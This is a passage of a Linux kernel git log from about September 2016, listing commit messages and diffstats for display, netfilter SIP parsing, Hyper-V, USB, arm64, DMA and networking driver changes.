.../devicetree/bindings/display/bridge/tda998x.txt | 18 ++ drivers/gpu/drm/i2c/Kconfig | 1 + drivers/gpu/drm/i2c/tda998x_drv.c | 213 ++++++++++++++++++++- include/drm/i2c/tda998x.h | 5 +- include/dt-bindings/display/tda998x.h | 7 + 5 files changed, 239 insertions(+), 5 deletions(-) commit 95db3b255fde4e830e5f8cc011eb404023f669d4 Author: Jyri Sarha Date: Tue Aug 9 22:00:04 2016 +0300 drm/i2c: tda998x: Improve tda998x_configure_audio() audio related pdata Define struct tda998x_audio_params in include/drm/i2c/tda998x.h and use it in pdata and for tda998x_configure_audio() parameters. Also updates tda998x_write_aif() to take struct hdmi_audio_infoframe * directly as a parameter. Signed-off-by: Jyri Sarha Signed-off-by: Russell King drivers/gpu/drm/i2c/tda998x_drv.c | 84 +++++++++++++++++++++------------------ include/drm/i2c/tda998x.h | 28 ++++++++----- 2 files changed, 64 insertions(+), 48 deletions(-) commit 3ef500a53f8c44ca82decf79dd8138fd07c7739d Merge: 523d939 efc9194 Author: Russell King Date: Wed Sep 7 13:08:48 2016 +0100 Merge commit 'efc9194bcff84' ("ASoC: hdmi-codec: callback function will be called with private data") into drm-tda998x-devel This commit is required for the TDA998x ASoC support, so to avoid build errors, merge this commit into this branch prior to commiting Jiri's patches. Signed-off-by: Russell King commit 1bcabc81ee94c0a65989128258f8c1d3e1c1b0ea Author: Marco Angaroni Date: Tue Aug 30 18:52:22 2016 +0200 netfilter: nf_ct_sip: allow tab character in SIP headers Current parsing methods for SIP headers do not allow the presence of tab characters between header name and header value. As a result Call-ID SIP headers like the following are discarded by IPVS SIP persistence engine: "Call-ID\t: mycallid@abcde" "Call-ID:\tmycallid@abcde" In above examples Call-IDs are represented as strings in C language. Obviously in real message we have byte "09" before/after colon (":"). Proposed fix is in nf_conntrack_sip module. Function sip_skip_whitespace() should skip tabs in addition to spaces, since in SIP grammar whitespace (WSP) corresponds to space or tab. Below is an extract of relevant SIP ABNF syntax. Call-ID = ( "Call-ID" / "i" ) HCOLON callid callid = word [ "@" word ] HCOLON = *( SP / HTAB ) ":" SWS SWS = [LWS] ; sep whitespace LWS = [*WSP CRLF] 1*WSP ; linear whitespace WSP = SP / HTAB word = 1*(alphanum / "-" / "." / "!" / "%" / "*" / "_" / "+" / "`" / "'" / "~" / "(" / ")" / "<" / ">" / ":" / "\" / DQUOTE / "/" / "[" / "]" / "?" / "{" / "}" ) Signed-off-by: Marco Angaroni Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_sip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 23f889bdf6ee5cfff012d8b09f6bec920c691696 Author: David Weinehall Date: Wed Aug 17 15:47:48 2016 +0300 Revert "drm/i915: Check live status before reading edid" This reverts commit 237ed86c693d8a8e4db476976aeb30df4deac74b. Our current implementation of live status check (repeat 9 times with 10ms delays between each attempt as a workaround for buggy displays) imposes a rather serious penalty, time wise, on intel_hdmi_detect(). Since we we already skip live status checks on platforms before gen 7, and since we seem to have coped quite well before the live status check was introduced for newer platforms too, the previous behaviour is probably preferable, at least unless someone can point to a use-case that the live status check improves (apart from "Bspec says so".) Signed-off-by: David Weinehall Fixes: 237ed86c693d ("drm/i915: Check live status before reading edid") Fixes: f8d03ea0053b ("drm/i915: increase the tries for HDMI hotplug live status checking") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97139 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=94014 Acked-by: Chris Wilson Cc: stable@vger.kernel.org # v4.4+ Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/20160817124748.31208-1-david.weinehall@linux.intel.com drivers/gpu/drm/i915/intel_dp.c | 2 +- drivers/gpu/drm/i915/intel_drv.h | 2 -- drivers/gpu/drm/i915/intel_hdmi.c | 43 +++++++++------------------------------ 3 files changed, 11 insertions(+), 36 deletions(-) commit 0f98829a99850836cf7c2cc9fbf1d7ce0f795780 Author: Dexuan Cui Date: Wed Sep 7 05:39:34 2016 -0700 Drivers: hv: vmbus: suppress some "hv_vmbus: Unknown GUID" warnings Some VMBus devices are not needed by Linux guest[1][2], and, VMBus channels of Hyper-V Sockets don't really mean usual synthetic devices, so let's suppress the warnings for them. [1] https://support.microsoft.com/en-us/kb/2925727 [2] https://msdn.microsoft.com/en-us/library/jj980180(v=winembedded.81).aspx Signed-off-by: Dexuan Cui Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel_mgmt.c | 26 ++++++++++++++++++++++++-- include/linux/hyperv.h | 21 +++++++++++++++++++++ 2 files changed, 45 insertions(+), 2 deletions(-) commit e2e808413425d82c8f162933a30304d10a5df231 Author: Stephen Hemminger Date: Wed Sep 7 05:39:33 2016 -0700 Driver: hv: vmbus: Make mmio resource local This fixes a sparse warning because hyperv_mmio resources are only used in this one file and should be static. Signed-off-by: Stephen Hemminger Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/vmbus_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9d6173e125d92e38d4e39bc71f0c3c2cf95cba1a Author: Thinh Nguyen Date: Tue Sep 6 19:22:03 2016 -0700 usb: dwc3: Fix dr_mode validation This patch follows the similar fix in dwc2. See commit 5268ed9d2e3b ("usb: dwc2: Fix dr_mode validation") Currently, the dr_mode is only checked against the module configuration. It also needs to be checked against the hardware capablities. The driver now checks if both the module configuration and hardware are capable of the dr_mode value. If not, then it will issue a warning and fall back to a supported value. If it is unable to fall back to a suitable value, then the probe will fail. Behavior summary: module : actual HW config dr_mode : dr_mode --------------------------------- host host any : host host dev any : INVALID host otg any : host dev host any : INVALID dev dev any : dev dev otg any : dev otg host any : host otg dev any : dev otg otg any : dr_mode Signed-off-by: Thinh Nguyen Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.c | 65 ++++++++++++++++++++++++++++++++++++++++--------- drivers/usb/dwc3/core.h | 5 +++- 2 files changed, 58 insertions(+), 12 deletions(-) commit ccebc23b57c313229526dc76383ce82f5e0b9001 Author: Lyude Date: Mon Aug 29 12:31:27 2016 -0400 drm/i915/skl: Don't try to update plane watermarks if they haven't changed i915 sometimes needs to disable planes in the middle of an atomic commit, and then reenable them later in the same commit. Because of this, we can't make the assumption that the state of the plane actually changed. Since the state of the plane hasn't actually changed, neither have it's watermarks. And if the watermarks hasn't changed then we haven't populated skl_results with anything, which means we'll end up zeroing out a plane's watermarks in the middle of the atomic commit without restoring them later. Simple reproduction recipe: - Get a SKL laptop, launch any kind of X session - Get two extra monitors - Keep hotplugging both displays (so that the display configuration jumps from 1 active pipe to 3 active pipes and back) - Eventually underrun Changes since v1: - Fix incorrect use of "it's" Changes since v2: - Add reproduction recipe Signed-off-by: Lyude Cc: Maarten Lankhorst Fixes: 62e0fb880123 ("drm/i915/skl: Update plane watermarks atomically during plane updates") Signed-off-by: Lyude Testcase: kms_plane Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1472488288-27280-1-git-send-email-cpaul@redhat.com Cc: drm-intel-fixes@lists.freedesktop.org drivers/gpu/drm/i915/intel_display.c | 7 ++++++- drivers/gpu/drm/i915/intel_sprite.c | 9 +++++++-- 2 files changed, 13 insertions(+), 3 deletions(-) commit 30c06570cd6716ba392f674c49dee5a69f96e096 Author: Maarten Lankhorst Date: Wed Sep 7 11:52:40 2016 +0200 Revert "drm: Unify handling of blob and object properties" This reverts commit 77953bd136d2a70bca2dc93b3ccda07a2b37076f. This causes a kernel panic when trying to assign a blob to a property, and has obviously never been tested. Fixes: 77953bd136d2 ("drm: Unify handling of blob and object properties") Signed-off-by: Maarten Lankhorst Tested-by: Liu Ying Acked-by: Daniel Stone Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/8c0d3482-1bb5-6a15-b105-6bda2b31b5dc@linux.intel.com drivers/gpu/drm/drm_property.c | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) commit 220be8d0e1729fc6f4bb10b009393cd0c1f5574e Author: Vladimir Murzin Date: Mon Aug 15 11:10:32 2016 +0100 fbdev: vfb: simplify memory management Substitute home-brewed memory management for framebuffer memory with what core mm provide us: vmalloc_32_user() and remap_vmalloc_range() The former is designed to allocate virtually contiguous area which is 32bit addressable and zeroed so it can be mapped to userspace without leaking data. The latter does the similar job to remap_pfn_range() but additionally validate vmalloc'ed area and it's size. Signed-off-by: Vladimir Murzin Signed-off-by: Tomi Valkeinen drivers/video/fbdev/vfb.c | 86 +++-------------------------------------------- 1 file changed, 5 insertions(+), 81 deletions(-) commit 95cc44a04f4c364affbc194820ad4ca5ab88f30c Author: Vladimir Murzin Date: Mon Aug 15 11:10:31 2016 +0100 fbdev: vfb: add option for video mode Make vfb a bit more flexible in sense what it can represent and allow the end user to specify video mode parameters via newly introduced module option "mode". Since it is test module it is still up to the end user to make sure there is enough memory to satisfy video mode settings. Signed-off-by: Vladimir Murzin [tomi.valkeinen@ti.com: constified vfb_default] Signed-off-by: Tomi Valkeinen drivers/video/fbdev/vfb.c | 43 +++++++++++++++++++++---------------------- 1 file changed, 21 insertions(+), 22 deletions(-) commit cf957ccc76eeffee9f06d2f8f7c9260015076e92 Author: Vladimir Murzin Date: Mon Aug 15 11:10:30 2016 +0100 fbdev: vfb: add description to module parameters Add description to "videomemorysize" and "vfb_enable" module parameters to make them a bit friendly to the end user. Signed-off-by: Vladimir Murzin Signed-off-by: Tomi Valkeinen drivers/video/fbdev/vfb.c | 2 ++ 1 file changed, 2 insertions(+) commit 22609b43b194917dce2188ae9a78bc40a14e67b5 Author: Pablo Neira Ayuso Date: Fri Sep 2 21:00:59 2016 +0200 netfilter: nft_quota: introduce nft_overquota() This is patch renames the existing function to nft_overquota() and make it return a boolean that tells us if we have exceeded our byte quota. Just a cleanup. Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_quota.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit db6d857b819a00627a3bd911f49ee3156766bba8 Author: Pablo Neira Ayuso Date: Fri Sep 2 21:00:58 2016 +0200 netfilter: nft_quota: fix overquota logic Use xor to decide to break further rule evaluation or not, since the existing logic doesn't achieve the expected inversion. Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_quota.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0d9932b2875f568d679f2af33ce610da3903ac11 Author: Laura Garcia Liebana Date: Fri Sep 2 15:05:57 2016 +0200 netfilter: nft_numgen: rename until attribute by modulus The _until_ attribute is renamed to _modulus_ as the behaviour is similar to other expresions with number limits (ex. nft_hash). Renaming is possible because there isn't a kernel release yet with these changes. Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 4 ++-- net/netfilter/nft_numgen.c | 30 +++++++++++++++--------------- 2 files changed, 17 insertions(+), 17 deletions(-) commit efd9e03facd075f5b76bf82e6c785bd45d5cbf4f Author: Catalin Marinas Date: Mon Sep 5 18:25:48 2016 +0100 arm64: Use static keys for CPU features This patch adds static keys transparently for all the cpu_hwcaps features by implementing an array of default-false static keys and enabling them when detected. The cpus_have_cap() check uses the static keys if the feature being checked is a constant, otherwise the compiler generates the bitmap test. Because of the early call to static_branch_enable() via check_local_cpu_errata() -> update_cpu_capabilities(), the jump labels are initialised in cpuinfo_store_boot_cpu(). Cc: Will Deacon Cc: Suzuki K. Poulose Signed-off-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 14 +++++++++++--- arch/arm64/kernel/cpufeature.c | 3 +++ arch/arm64/kernel/smp.c | 5 +++++ 3 files changed, 19 insertions(+), 3 deletions(-) commit ef0da55a84a345f323ceddda3b6c78b25de90435 Author: Catalin Marinas Date: Mon Sep 5 18:25:47 2016 +0100 jump_labels: Allow array initialisers The static key API is currently designed around single variable definitions. There are cases where an array of static keys is desirable, so extend the API to allow this rather than using the internal static key implementation directly. Cc: Jason Baron Cc: Jonathan Corbet Acked-by: Peter Zijlstra (Intel) Suggested-by: Dave P Martin Signed-off-by: Catalin Marinas Signed-off-by: Will Deacon Documentation/static-keys.txt | 9 +++++++++ include/linux/jump_label.h | 12 ++++++++++++ 2 files changed, 21 insertions(+) commit ddb075b0cdbca140d6c6503db9cc9990d3461308 Author: Gao Feng Date: Thu Sep 1 18:59:02 2016 +0800 netfilter: ftp: Remove the useless code There are some debug code which are commented out in find_pattern by #if 0. Now remove them. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_ftp.c | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) commit 723eb299de62ce75dbd31e7ee25d45887c32a602 Author: Gao Feng Date: Thu Sep 1 18:58:29 2016 +0800 netfilter: ftp: Remove the useless dlen==0 condition check in find_pattern The caller function "help" has already make sure the datalen could not be zero before invoke find_pattern as a parameter by the following codes if (dataoff >= skb->len) { pr_debug("ftp: dataoff(%u) >= skblen(%u)\n", dataoff, skb->len); return NF_ACCEPT; } datalen = skb->len - dataoff; And the latter codes "ends_in_nl = (fb_ptr[datalen - 1] == '\n');" use datalen directly without checking if it is zero. So it is unneccessary to check it in find_pattern too. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_ftp.c | 2 -- 1 file changed, 2 deletions(-) commit f0608ceaa79d99d24e97517f9a9a0fed2b9698b4 Author: Marco Angaroni Date: Tue Aug 30 18:48:24 2016 +0200 netfilter: nf_ct_sip: correct allowed characters in Call-ID SIP header Current parsing methods for SIP header Call-ID do not check correctly all characters allowed by RFC 3261. In particular "," character is allowed instead of "'" character. As a result Call-ID headers like the following are discarded by IPVS SIP persistence engine. Call-ID: -.!%*_+`'~()<>:\"/[]?{} Above example is composed using all non-alphanumeric characters listed in RFC 3261 for Call-ID header syntax. Proposed fix is in nf_conntrack_sip module; function iswordc() checks this range: (c >= '(' && c <= '/') which includes these characters: ()*+,-./ They are all allowed except ",". Instead "'" is not included in the list. Below is an extract of relevant SIP ABNF syntax. Call-ID = ( "Call-ID" / "i" ) HCOLON callid callid = word [ "@" word ] HCOLON = *( SP / HTAB ) ":" SWS SWS = [LWS] ; sep whitespace LWS = [*WSP CRLF] 1*WSP ; linear whitespace WSP = SP / HTAB word = 1*(alphanum / "-" / "." / "!" / "%" / "*" / "_" / "+" / "`" / "'" / "~" / "(" / ")" / "<" / ">" / ":" / "\" / DQUOTE / "/" / "[" / "]" / "?" / "{" / "}" ) Signed-off-by: Marco Angaroni Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_sip.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 68cb9fe47ea661bffd48c8ca35790be26935e1c5 Author: Marco Angaroni Date: Tue Aug 30 18:48:19 2016 +0200 netfilter: nf_ct_sip: correct parsing of continuation lines in SIP headers Current parsing methods for SIP headers do not properly manage continuation lines: in case of Call-ID header the first character of Call-ID header value is truncated. As a result IPVS SIP persistence engine hashes over a call-id that is not exactly the one present in the originale message. Example: "Call-ID: \r\n abcdeABCDE1234" results in extracted call-id equal to "bcdeABCDE1234". In above example Call-ID is represented as a string in C language. Obviously in real message the first bytes after colon (":") are "20 0d 0a 20". Proposed fix is in nf_conntrack_sip module. Since sip_follow_continuation() function walks past the leading spaces or tabs of the continuation line, sip_skip_whitespace() should simply return the ouput of sip_follow_continuation(). Otherwise another iteration of the for loop is done and dptr is incremented by one pointing to the second character of the first word in the header. Below is an extract of relevant SIP ABNF syntax. Call-ID = ( "Call-ID" / "i" ) HCOLON callid callid = word [ "@" word ] HCOLON = *( SP / HTAB ) ":" SWS SWS = [LWS] ; sep whitespace LWS = [*WSP CRLF] 1*WSP ; linear whitespace WSP = SP / HTAB word = 1*(alphanum / "-" / "." / "!" / "%" / "*" / "_" / "+" / "`" / "'" / "~" / "(" / ")" / "<" / ">" / ":" / "\" / DQUOTE / "/" / "[" / "]" / "?" / "{" / "}" ) Signed-off-by: Marco Angaroni Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_sip.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c579a9e7d58f66030a144c7a33cc9bdf827a4b6d Author: Gao Feng Date: Thu Aug 25 23:08:47 2016 +0800 netfilter: gre: Use consistent GRE and PTTP header structure instead of the ones defined by netfilter There are two existing strutures which defines the GRE and PPTP header. So use these two structures instead of the ones defined by netfilter to keep consitent with other codes. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso include/linux/netfilter/nf_conntrack_proto_gre.h | 42 ------------------------ net/ipv4/netfilter/nf_nat_proto_gre.c | 13 ++++---- net/netfilter/nf_conntrack_proto_gre.c | 12 +++---- 3 files changed, 13 insertions(+), 54 deletions(-) commit ecc6569f3503b39f45bc6b86197b5e0a8533fb72 Author: Gao Feng Date: Thu Aug 25 23:08:11 2016 +0800 netfilter: gre: Use consistent GRE_* macros instead of ones defined by netfilter. There are already some GRE_* macros in kernel, so it is unnecessary to define these macros. And remove some useless macros Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso include/linux/netfilter/nf_conntrack_proto_gre.h | 22 ++-------------------- include/uapi/linux/if_tunnel.h | 1 + net/ipv4/netfilter/nf_nat_proto_gre.c | 4 ++-- net/netfilter/nf_conntrack_proto_gre.c | 4 ++-- 4 files changed, 7 insertions(+), 24 deletions(-) commit b6a694b7209121ed8c416d1f9ab92780c4cc7a10 Author: Sudip Mukherjee Date: Wed Aug 31 21:14:29 2016 +0530 video: fbdev: intelfb: remove impossible condition xoffset and yoffset of struct fb_var_screeninfo are unsigned and so they can never be less than 0. Signed-off-by: Sudip Mukherjee Signed-off-by: Tomi Valkeinen drivers/video/fbdev/intelfb/intelfbdrv.c | 5 ----- 1 file changed, 5 deletions(-) commit 522ef6144fe46ec2a74fa8778a73f2bd2cf0f9bb Author: Arnd Bergmann Date: Tue Sep 6 15:20:05 2016 +0200 dmaengine: cppi41: mark PM functions as __maybe_unused When CONFIG_PM_SLEEP is disabled, we get a build error in the cppi41 dmaengine driver, since the runtime-pm functions are hidden within the wrong #ifdef: drivers/dma/cppi41.c:1158:21: error: 'cppi41_runtime_suspend' undeclared here (not in a function) This removes the #ifdef and instead uses __maybe_unused annotations that cannot have this problem. Signed-off-by: Arnd Bergmann Fixes: fdea2d09b997 ("dmaengine: cppi41: Add basic PM runtime support") Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 5f03c39978e3437398d4777215c5818e62118b2c Author: Arnd Bergmann Date: Tue Sep 6 15:17:49 2016 +0200 dmaengine: k3dma: use correct format string for debug output The newly added k3_dma_prep_dma_cyclic function has some debug output that uses incorrect typecasts, some of which cause a warning like: drivers/dma/k3dma.c: In function 'k3_dma_prep_dma_cyclic': drivers/dma/k3dma.c:589:671: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] In general, we have to print 'dma_addr_t' values using special '%pad' format to get the correct behavior on kernels that have a 64-bit dma_addr_t type but 32-bit pointers. Similarly, printing size_t values should be done using the %z modifier to get the correct behavior on 64-bit kernels. Signed-off-by: Arnd Bergmann Fixes: a7e08fa6cc78 ("k3dma: Add cyclic mode for audio") Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit fa8f4aba72e6d619c003dab60f58ab6c7410e465 Author: Sergei Shtylyov Date: Tue Sep 6 00:33:05 2016 +0300 ARM: dts: wheat: add support for tactile switches Add support for the tactile switches SW2/3 (on the debug board) as a virtual keyboard like it was done with the Blanche board). Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-wheat.dts | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit e678114f86edc40f394a82231c239c8cdfb4191c Author: Sergei Shtylyov Date: Sat Sep 3 01:09:26 2016 +0300 ARM: dts: wheat: add QSPI support Define the Wheat board dependent part of the QSPI device node. Add device nodes for Spansion S25FL512S SPI flash and MTD partitions on it. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-wheat.dts | 43 +++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) commit a649244de727b87d38fe46d86ef98c8d1fc49551 Author: Neil Armstrong Date: Thu Aug 18 12:10:26 2016 +0200 dt-bindings: mailbox: Add Amlogic Meson MHU Bindings Signed-off-by: Neil Armstrong Acked-by: Rob Herring Signed-off-by: Jassi Brar .../devicetree/bindings/mailbox/meson-mhu.txt | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit ad3a212c1db1650b1f6e438201494c7bb7111f54 Author: Neil Armstrong Date: Thu Aug 18 12:10:25 2016 +0200 mailbox: Add Platform Message-Handling-Unit variant driver Add Message-Handling-Unit driver for platform variants as mailbox controller. Actually, only the Amlogic Meson GXBB SoC MHU is supported. Signed-off-by: Neil Armstrong Signed-off-by: Jassi Brar drivers/mailbox/Kconfig | 10 ++ drivers/mailbox/Makefile | 2 + drivers/mailbox/platform_mhu.c | 205 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 217 insertions(+) commit 65a532f3d50a266bcc5e9c7efc636006565e8e7e Author: K. Y. Srinivasan Date: Tue Sep 6 12:23:21 2016 -0700 Revert "Drivers: hv: ring_buffer: count on wrap around mappings in get_next_pkt_raw()" To deal with the merge conflict between net-next and char-misc trees, revert commit bb08d431a914 from char-misc tree. This commit can be rebased and applied once net-next picks up char-misc changes. Here is the commit log of the reverted patch: "With wrap around mappings in place we can always provide drivers with direct links to packets on the ring buffer, even when they wrap around. Do the required updates to get_next_pkt_raw()/put_pkt_raw()" Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman include/linux/hyperv.h | 32 +++++++++++++++++++++----------- 1 file changed, 21 insertions(+), 11 deletions(-) commit 9bb87c027c3fe65f5e76c656a0d34d9980ccb121 Merge: fedc81e 7b0f9e357 Author: Stephen Boyd Date: Tue Sep 6 18:12:24 2016 -0700 Merge tag 'v4.9-rockchip-clk1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into clk-next Pull rockchip clk driver updates from Heiko Stuebner: The biggest addition is probably the special clock-type for ddr clock control. While reading that clock is done the normal way from the registers, setting it always requires some sort of special handling to let the system survive this addition. As the commit message explains, there are currently 3 handling-types known. General SRAM-based code on rk3288 and before (which is waiting essentially for the PIE support that is currently being worked on), SCPI-based clk setting on the rk3368 through a coprocessor, which we might support once the support for legacy scpi-variants has matured and now on the rk3399 (and probably later) using a dcf controller that is controlled from the arm-trusted-firmware and gets accessed through firmware calls from the kernel. This is the variant we currently support, but the clock type is made to support the other variants in the future as well. Apart from that slightly bigger chunk, we have a mix of PLL rates, clock-ids and flags mainly for the rk3399. And interestingly an iomap fix for the legacy gate driver, where I hopefully could deter the submitter from actually using that in any new works. * tag 'v4.9-rockchip-clk1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: clk: rockchip: use the dclk_vop_frac clock ids on rk3399 clk: rockchip: drop CLK_SET_RATE_PARENT from rk3399 fractional dividers clk: rockchip: add 2016M to big cpu clk rate table on rk3399 clk: rockchip: add rk3399 ddr clock support clk: rockchip: add dclk_vop_frac ids for rk3399 vop clk: rockchip: add new clock-type for the ddrclk soc: rockchip: add header for ddr rate SIP interface clk: rockchip: add SCLK_DDRC id for rk3399 ddrc clk: rockchip: handle of_iomap failures in legacy clock driver clk: rockchip: mark rk3399 hdcp_noc and vio_noc as critical clk: rockchip: use general clock flag when registering pll clk: rockchip: delete the CLK_IGNORE_UNUSED from aclk_pcie on rk3399 clk: rockchip: add 65MHz and 106.5MHz rates to rk3399 plls used for HDMI commit fedc81e79760b9f5c066bb5ad21befbc491b85bf Author: Geert Uytterhoeven Date: Wed Aug 31 11:49:30 2016 +0200 MAINTAINERS: Add section for Renesas clock drivers Add a section for Renesas clock drivers, as found on Renesas ARM SoCs, and list myself as the maintainer. Signed-off-by: Geert Uytterhoeven Acked-by: Simon Horman Signed-off-by: Stephen Boyd MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) commit cf86799e816fe3a6e47eab3f0beb735d5944f01a Author: Arnd Bergmann Date: Tue Sep 6 21:20:36 2016 +0200 ptp: ixp46x: remove NO_IRQ handling gpio_to_irq does not return NO_IRQ but instead returns a negative error code on failure. Returning NO_IRQ from the function has no negative effects as we only compare the result to the expected interrupt number, but it's better to return a proper failure code for consistency, and we should remove NO_IRQ from the kernel entirely. Signed-off-by: Arnd Bergmann Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/ptp/ptp_ixp46x.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 72a31d85a56581f0369f881c453d9c212a2bad38 Author: Bert Kenward Date: Tue Sep 6 17:50:00 2016 +0100 sfc: check MTU against minimum threshold Reported-by: Ma Yuying Suggested-by: Jarod Wilson Signed-off-by: Bert Kenward Reviewed-by: Jarod Wilson Signed-off-by: David S. Miller drivers/net/ethernet/sfc/efx.c | 12 +++++++++++- drivers/net/ethernet/sfc/net_driver.h | 3 +++ 2 files changed, 14 insertions(+), 1 deletion(-) commit 9edeaada19a21eb669ae0dfe749be88f1810ea92 Author: Arnd Bergmann Date: Tue Sep 6 15:16:33 2016 +0200 power: supply: sbs-battery: simplify DT parsing After the change to use the gpio descriptor interface, we get a warning if -Wmaybe-uninitialized is added back to the build flags (it is currently disabled: drivers/power/supply/sbs-battery.c: In function 'sbs_probe': drivers/power/supply/sbs-battery.c:760:28: error: 'pdata' may be used uninitialized in this function [-Werror=maybe-uninitialized] The problem is that if neither the DT properties nor a platform_data pointer are provided, the chip->pdata pointer gets set to an uninitialized value. Looking at the code some more, I found that the sbs_of_populate_pdata function is more complex than necessary and has confusing calling conventions of possibly returning a valid pointer, a NULL pointer or an ERR_PTR pointer (in addition to the uninitialized pointer). To fix all of that, this gets rid of the chip->pdata pointer and simply moves the two integers into the sbs_info structure. This makes it much clearer from reading sbs_probe() what the precedence of the three possible values are (pdata, DT, hardcoded defaults) and completely avoids the #ifdef CONFIG_OF guards as of_property_read_u32() gets replaced with a compile-time stub when that is disabled, and returns an error if passed a NULL of_node pointer. Signed-off-by: Arnd Bergmann Fixes: 3b5dd3a49496 ("power: supply: sbs-battery: Use gpio_desc and sleeping calls for battery detect") Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 98 ++++++++++++-------------------------- 1 file changed, 31 insertions(+), 67 deletions(-) commit f1e4ba5b6a6555d1f6b174d4fd0a96a9363bb57f Author: Arnd Bergmann Date: Tue Sep 6 15:10:22 2016 +0200 perf, bpf: fix conditional call to bpf_overflow_handler The newly added bpf_overflow_handler function is only built of both CONFIG_EVENT_TRACING and CONFIG_BPF_SYSCALL are enabled, but the caller only checks the latter: kernel/events/core.c: In function 'perf_event_alloc': kernel/events/core.c:9106:27: error: 'bpf_overflow_handler' undeclared (first use in this function) This changes the caller so we also skip this call if CONFIG_EVENT_TRACING is disabled entirely. Signed-off-by: Arnd Bergmann Fixes: aa6a5f3cb2b2 ("perf, bpf: add perf events core support for BPF_PROG_TYPE_PERF_EVENT programs") Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f591997b1484cbf869d21b511c8d84902444cfb Author: Baoyou Xie Date: Tue Sep 6 16:21:56 2016 +0800 net: arc_emac: mark arc_mdio_reset() static We get 1 warning when building kernel with W=1: drivers/net/ethernet/arc/emac_mdio.c:107:5: warning: no previous prototype for 'arc_mdio_reset' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/arc/emac_mdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e0c79ff6286f534f3e9fadab529b0ce1e2c6d917 Author: Baoyou Xie Date: Tue Sep 6 16:19:02 2016 +0800 lan78xx: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/net/usb/lan78xx.c:1182:6: warning: no previous prototype for 'lan78xx_defer_kevent' [-Wmissing-prototypes] drivers/net/usb/lan78xx.c:1409:5: warning: no previous prototype for 'lan78xx_nway_reset' [-Wmissing-prototypes] drivers/net/usb/lan78xx.c:2000:5: warning: no previous prototype for 'lan78xx_set_mac_addr' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/usb/lan78xx.c | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) commit c63ad410a2379960238c82309eb9c18d0c893243 Merge: 736c4c1 4102426 Author: David S. Miller Date: Tue Sep 6 14:24:02 2016 -0700 Merge branch 'qed-get_regs' commit 4102426f9b7b3627c8c23a54d70363e81c93f9b7 Author: Tomer Tayar Date: Mon Sep 5 14:35:10 2016 +0300 qed: Add infrastructure for debug data collection Adds support for several infrastructure operations that are done as part of debug data collection. Signed-off-by: Tomer Tayar Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_hsi.h | 3 + drivers/net/ethernet/qlogic/qed/qed_mcp.c | 76 ++++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_mcp.h | 46 ++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_reg_addr.h | 6 